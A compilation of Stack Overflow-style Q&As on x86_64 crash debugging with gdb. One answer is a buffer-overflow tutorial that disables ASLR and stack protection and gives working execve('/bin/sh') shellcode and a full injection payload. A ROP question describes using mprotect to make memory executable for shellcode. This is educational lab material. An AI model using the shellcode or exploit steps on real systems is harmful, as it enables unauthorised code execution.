x86_64 callback sigsegv debugging - linux

Please let me know if there is more information I need to enter. The stackexchange robot seems to think there is not enough of it here.
The below stack trace is generated as a result of a an invalid callback pointer. I'd like to understand where the callback occurred in the code. I know how to do this in MIPS, but not in Intel architecture.
I get the following backtrace on sigsegv:
(gdb) bt
#0 0x000000361f20cc5a in ?? ()
Cannot access memory at address 0x7f382f1e1810
(gdb)
When I try to disassemble I get:
(gdb) disassemble
No function contains program counter for selected frame.
(gdb) info reg
rax 0x7f2bf3fb8790 139826753669008
rbx 0x7f3200197520 139852726760736
rcx 0x7f3200197540 139852726760768
rdx 0x0 0
rsi 0x7f2bf3fb87b0 139826753669040
rdi 0x0 0
rbp 0x7f2bf3fb87b0 0x7f2bf3fb87b0
rsp 0x7f382f1e1810 0x7f382f1e1810
r8 0x20000 131072
r9 0x453d780 72603520
r10 0x27 39
r11 0x7f2dcbfa9ec8 139834672455368
r12 0x7f2bf3fb87b0 139826753669040
r13 0x7f3196fd2790 139850963298192
r14 0x7f2c080008c0 139827089508544
r15 0xfffffffffffffe68 -408
rip 0x361f20cc5a 0x361f20cc5a
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Processor information:
Intel(R) Xeon(R) CPU E5-2658A v3 # 2.20GHz

Related

Why did not I get segmentation fault?

I'm new to assembly programming and experementing with simple examples and gdb. Here is the program I wrote:
1.asm
section .text
global _start
extern _print_func
_start:
push str
movzx rdx, byte [str_len]
push dx ; <--- typo here, should be rdx
call _print_func
mov rax, 60
syscall
section .data
str: db 'Some data',0x0A,0x0D
str_len: db $ - str
2.asm
section .text
global _print_func
_print_func:
pop rbx
pop rdx
pop rsi
mov rax, 0x01
mov rdi, 0x01
syscall
push rbx
ret
section .data
str: db 'Some string',0x0A,0x0D
str_len: db $ - str
After compiling, linking (with ld) and running the program it just printed nothing. So I examined the content of registers before the syscall made.
(gdb) info registers
rax 0x1 1
rbx 0x4000c5 4194501
rcx 0x0 0
rdx 0x6000e4000b 412331802635 ; <-- obviously wrong
rsi 0x10000 65536
rdi 0x1 1
rbp 0x0 0x0
rsp 0x7fffffffdcc6 0x7fffffffdcc6
So the syscall should try read 412331802635 bytes starting at 0x10000 which I thought should have caused Segmentation Fault since the program is not allowed to access all the bytes.
But it silently printed nothing. Why? Why didn't Segmantation Fault raised? Was that some sort of undefined behavior? I'n using Ubuntu 16.04 LTS under intel core i5.
sys_write does not raise a segfault, it just returns an -EFAULT error code. You should see that in rax after the syscall finishes. See also man 2 write

ps -ef crashes during Asterisk restart

If I restart Asterisk, about 10 core dumps appear in /tmp directory, all with the same crash. Executing ps -ef manually does not reproduce crash.
gdb output:
Core was generated by `ps -ef'.
Program terminated with signal 11, Segmentation fault.
#0 reset_global () at ps/global.c:362
362 look_up_our_self(&p);
(gdb)
Disassmble:
0x0000000000403040 <+0>: push %rbp
0x0000000000403041 <+1>: mov $0xdeadbeef,%eax
0x0000000000403046 <+6>: push %rbx
0x0000000000403047 <+7>: sub $0x80028,%rsp
0x000000000040304e <+14>: mov 0x21147b(%rip),%rbx # 0x6144d0 <selection_list>
0x0000000000403055 <+21>: cmp %rax,%rbx
0x0000000000403058 <+24>: je 0x403084 <reset_global+68>
0x000000000040305a <+26>: test %rbx,%rbx
0x000000000040305d <+29>: jne 0x40306b <reset_global+43>
0x000000000040305f <+31>: jmp 0x403084 <reset_global+68>
0x0000000000403061 <+33>: nopl 0x0(%rax)
0x0000000000403068 <+40>: mov %rbp,%rbx
0x000000000040306b <+43>: mov 0x8(%rbx),%rdi
0x000000000040306f <+47>: mov (%rbx),%rbp
0x0000000000403072 <+50>: callq 0x4017e8 <free#plt>
0x0000000000403077 <+55>: mov %rbx,%rdi
0x000000000040307a <+58>: callq 0x4017e8 <free#plt>
0x000000000040307f <+63>: test %rbp,%rbp
0x0000000000403082 <+66>: jne 0x403068 <reset_global+40>
0x0000000000403084 <+68>: lea 0x80010(%rsp),%rbx
0x000000000040308c <+76>: mov $0x634680,%edi
0x0000000000403091 <+81>: movq $0x0,0x211434(%rip) # 0x6144d0 <selection_list>
=> 0x000000000040309c <+92>: callq 0x401908 <look_up_our_self#plt>
0x00000000004030a1 <+97>: xor %eax,%eax
0x00000000004030a3 <+99>: mov %rbx,%rdx
0x00000000004030a6 <+102>: mov $0x5413,%esi
0x00000000004030ab <+107>: mov $0x1,%edi
0x00000000004030b0 <+112>: callq 0x401698 <ioctl#plt>
0x00000000004030b5 <+117>: cmp $0xffffffffffffffff,%eax
0x00000000004030b8 <+120>: je 0x4032e0 <reset_global+672>
...
What is this: 0x0000000000403041 <+1>: mov $0xdeadbeef,%eax ?
info registers:
(gdb) info registers
rax 0xdeadbeef 3735928559
rbx 0x7849d15d9e60 132258440519264
rcx 0x0 0
rdx 0x0 0
rsi 0x7849d15d9de0 132258440519136
rdi 0x634680 6506112
rbp 0x0 0x0
rsp 0x7849d1559e50 0x7849d1559e50
r8 0x0 0
r9 0xff3212ff2a1f09ff -57962958069757441
r10 0x8 8
r11 0x206 518
r12 0x2 2
r13 0x7849d15da0a8 132258440519848
r14 0x0 0
r15 0x0 0
rip 0x40309c 0x40309c <reset_global+92>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
System info:
3.14.32-xxxx-grs-ipv6-64 #7 SMP Wed Jan 27 18:05:09 CET 2016 x86_64 x86_64 x86_64 GNU/Linux
rpm -qa | grep glibc
glibc-2.12-1.166.el6_7.7.x86_64
glibc-debuginfo-common-2.12-1.166.el6_7.7.x86_64
glibc-headers-2.12-1.166.el6_7.7.x86_64
glibc-2.12-1.166.el6_7.7.i686
glibc-common-2.12-1.166.el6_7.7.x86_64
glibc-debuginfo-2.12-1.166.el6_7.7.x86_64
glibc-devel-2.12-1.166.el6_7.7.x86_64
I am not sure how to proceed from here, tried to reinstall Linux from scratch but getting same result.
=> 0x000000000040309c <+92>: callq 0x401908 <look_up_our_self#plt>
It is somewhat unusual for a program to die on CALL (or PUSH) instruction, and whenever that happens, it's almost guaranteed that you have a stack overflow. Further,
0x0000000000403047 <+7>: sub $0x80028,%rsp
this function requires half MiB of stack, which is also quite unusual, and large. Looking at the rest of disassembly, if JE at 0x403058 was taken, then CALL at 0x40309c would be the first instruction trying to push something onto stack after the large decrement.
Conclusion: the environment in which Asterix executes ps -ef has a uimit -s that is set too small.
What is this: 0x0000000000403041 <+1>: mov $0xdeadbeef,%eax ?
The code compares %RAX with selection_list. The 0xdeadbeef is clearly a sentinel value.

Solving mprotect() syscall failure

I'm writing some ROP exploit code that calls mprotect via a syscall, after invoking int 0x80 eax is set to 0x0 indicating a success. Shifting execution to the target address still results in a SIGSEGV. I would love for someone to show me where I go wrong.
Some details, target address is the .data section, this is where I'll be writing by shellcode to:
[20] 0x8146820->0x814c2b8 at 0x000fd820: .data ALLOC LOAD DATA HAS_CONTENTS
I set eax to 125, ebx to the page boundary 0x8146000, ecx to 0x1000 (4096 page size) and edx to 0x7 (RWX).
Just before the syscall the registers look like this:
eax 0x7d 125
ecx 0x1000 4096
edx 0x7 7
ebx 0x8146000 135553024
esp 0xbffff2b0 0xbffff2b0
ebp 0x8d0e0f0 0x8d0e0f0
esi 0x804fb85 134544261
edi 0x43434343 1128481603
eip 0x80c0182 0x80c0182 <mprotect+18>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) disas $eip, $eip+20
Dump of assembler code from 0x80c0182 to 0x80c0196:
=> 0x080c0182 <mprotect+18>: int $0x80
0x080c0184 <mprotect+20>: pop %ebx
0x080c0185 <mprotect+21>: cmp $0xfffff001,%eax
0x080c018a <mprotect+26>: jae 0x80c7d80 <__syscall_error>
0x080c0190 <mprotect+32>: ret
and after the syscall the registers are:
(gdb) si
0x080c0184 in mprotect ()
(gdb) i r
eax 0x0 0
ecx 0x1000 4096
edx 0x7 7
ebx 0x8146000 135553024
esp 0xbffff2b0 0xbffff2b0
ebp 0x8d0e0f0 0x8d0e0f0
esi 0x804fb85 134544261
edi 0x43434343 1128481603
eip 0x80c0184 0x80c0184 <mprotect+20>
eflags 0x202 [ IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
However the memory location does not show a change in permissions and attempting to execute instructions there terminates the application:
(gdb) x/4x 0x8146820
0x8146820: 0x00000000 0x00000000 0x08146154 0x0000ea60
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08146820 in data_start ()
Any suggestions on how/what to debug or what I'm doing wrong are welcome.
Edit
I ran it under strace without the debugger attached, seems like the mprotect call is a success, yet execution fails:
stat64("/etc/localtime", {st_mode=S_IFREG|0644, st_size=2197, ...}) = 0
mprotect(0x8146000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} ---
+++ killed by SIGSEGV (core dumped) +++
Confirming crash address from core:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x08146820 in data_start ()
Your mprotect call worked. The program crashes because 0x8146820 holds
0x0000, which disassembles to add [eax], al, and eax holds zero. But address 0 is not mapped. (That's why the segfault is at si_addr=0)

Buffer overflows on 64 bit

I am trying to do some experiments with buffer overflows for fun. I was reading on this forum on the topic, and tried to write my own little code.
So what I did is a small "C" program, which takes character argument and runs until segmentation fault.
So I supply arguments until I get a message that I overwrote the return address with "A" which is 41. My buffer character length, in which I copy my input strings is [5].
Here is what I did in gdb.
run $(perl -e 'print "A"x32 ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d
Then I figured out that it takes 16 'A' to overwrite.
run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
)
Which tells us that the 8 "C" are overwriting the return address.
According to the online tutorials if I supply a valid adress instead of the 8 "C". I can jump to some place and execute code. So I overloaded the memory after the initial 16 "A".
The next step was to execute
run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ')
rax 0x0 0
rbx 0x3a0001bbc0 249108216768
rcx 0x3a00552780 249113683840
rdx 0x3a00553980 249113688448
rsi 0x42 66
rdi 0x2af9e57710e0 47252785008864
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7fffb261a2e8 0x7fffb261a2e8
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x22 34
r11 0xffffffff 4294967295
r12 0x0 0
r13 0x7fffb261a3c0 140736186131392
r14 0x0 0
r15 0x0 0
rip 0x400516 0x400516 <main+62>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
mxcsr 0x1f80 [ IM DM ZM OM UM PM ]
After examining the memory 200 bytes after $rsp i found an address and I did the following:
run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ')
This however does not do anything. I would be grateful if someone can give me an idea what am I doing wrong.
First make sure that you change the randomize_va_space. On Ubuntu you would run the following as root
echo 0 > /proc/sys/kernel/randomize_va_space
Next make sure you are compiling the test program without stack smashing protection and set the memory execution bit. Compile it with the following gcc options to accomplish
-fno-stack-protector -z execstack
Also I found I needed more space to actually execute a shell so I would change your buffer to something more like buffer[64]
Next you can run the app in gdb and get the stack address you need to return to
First set a breakpoint right after the strcpy
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy#plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf#plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
Then run the app and at the break point grab the rax register address.
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
Next determine your max buffer size. I know that the buffer of 64 crashes at 72 bytes so I will just go from that.. You could use something like metasploits pattern methods to give you this or just figure it out from trial and error running the app to find out the exact byte count it takes before getting a segfault or make up a pattern of your own and match the rip address like you would with the metasploit pattern option.
Next, there are many different ways to get the payload you need but since we are running a 64bit app, we will use a 64bit payload. I compiled C and then grabbed the ASM from gdb and then made some changes to remove the \x00 chars by changing the mov instructions to xor for the null values and then shl and shr to remove them from the shell command. We will show this later but for now the payload is as follows.
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05
our payload here is 48 bytes so we have 72 - 48 = 24
We can pad the payload with \x90 (nop) so that instruction will not be interrupted. Ill add 2 at the end of the payload and 22 at the beginning. Also I will tack on the return address that we want to the end in reverse giving the following..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
Now if you want to run it outside of gdb, you may have to fudge with the return address. In my case the address becomes \x70\xe0\xff\xff\xff\x7f outside of gdb. I just increased it until it worked by going to 40 then 50 then 60 then 70..
test app source
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
This is the payload in C
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
And payload in ASM which will build and run
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
And since we can't use \x00 we can change to xor the values and do some fancy shifting to remove the bad values of the mov for setting up /bin/sh
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
if you compile that payload, run it under gdb you can get the byte values you need such as
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
or get it all by doing something like
(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
Well for starters... Are you entirely sure that the address on the stack is the return pointer and not a pointer to say a data structure or string somewhere? If that is the case it will use that address instead of the string and could just end up doing nothing :)
So check if your function uses local variables as these are put on the stack after the return address. Hope this helps ^_^ And good luck!
i haven't worked with x64 much , but a quick look says you have 16 bytes till rip overwrite.
instead of the \x90 try \xCC's to see if controlled code redirection has occured, if it has gdb should hit(land in the \xCC pool) the \xCC and pause (\xCC are in a way 'hardcoded' breakpoints).

Unsuccessful with GDB and Info Reg Command. Can't seem to find the ebp, eip and esp values

I'm having a problem with GDB. I'm studying buffer overflow right now and I need to run the command $Info reg to find information about ebp, eip and esp but I get no results from any of them. I tried out Info reg $name with each one of them but only ebp works.
Basicly this is what happens:
(gdb) i r
rax 0x7fffffffe180 140737488347520
rbx 0x0 0
rcx 0x7fffffffe570 140737488348528
rdx 0x7fffffffe1a6 140737488347558
rsi 0x6 6
...
...
...
es 0x0 0
fs 0x0 0
---Type <return> to continue, or q <return> to quit---+
gs 0x0 0
and
(gdb) info reg $ebp
ebp 0x41414141 1094795585
but
(gdb) info reg $eip
Invalid register `eip'
How can I get the values to these parts of memory?
there is no reg called eip in amd64 arch
let me show what is bp/ebp/rbp, a data register contains 64 bits on amd64 arch:
64 ---------------------------- 32 ---------- 16 ---- 8 ---- 0
| <--------------------------- rbp ------------------------> |
| <--------- ebp ---------> |
| <--- bp --> |
so you can access corresponding bits by different name.
but you always access rip as a whole word, because there is no reason to access the lower bits of instruction pointer, as a result, there aro no eip/ip registers in amd64 arch

Resources